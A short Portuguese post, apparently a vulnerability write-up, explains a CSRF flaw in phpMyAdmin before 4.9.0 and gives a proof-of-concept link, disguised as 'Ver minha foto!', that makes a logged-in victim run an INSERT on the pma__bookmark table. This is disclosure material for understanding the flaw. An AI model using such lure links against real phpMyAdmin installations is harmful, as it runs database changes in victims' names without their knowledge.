Um problema foi descoberto no phpMyAdmin em versões anteriores à 4.9.0. Foi encontrada uma vulnerabilidade que permite que um invasor dispare um ataque CSRF contra um usuário do phpMyAdmin. O invasor pode enganar o usuário, por exemplo, por meio de uma tag <img> quebrada apontando para o banco de dados phpMyAdmin da vítima, e o invasor pode inserir um payload, como uma instrução INSERT ou DELETE específica à vítima.
O invasor pode facilmente criar um link falso contendo a solicitação que deseja executar em nome do usuário, tornando possível um ataque de CSRF devido ao uso incorreto do método HTTP.
Exemplo:
<a href="http://localhost:9000/tbl_sql.php?sql_query=INSERT+INTO+`pma__bookmark`+(`id`%2C+`dbase`%2C+`user`%2C+`label`%2C+`query`)+VALUES+(DAYOFWEEK('')%2C+''%2C+''%2C+''%2C+'')&show_query=1&db=phpmyadmin&table=pma__bookmark">Ver minha foto!</a>
Espero que tenha gostado, qualquer dúvida só me chamar!
Obrigado!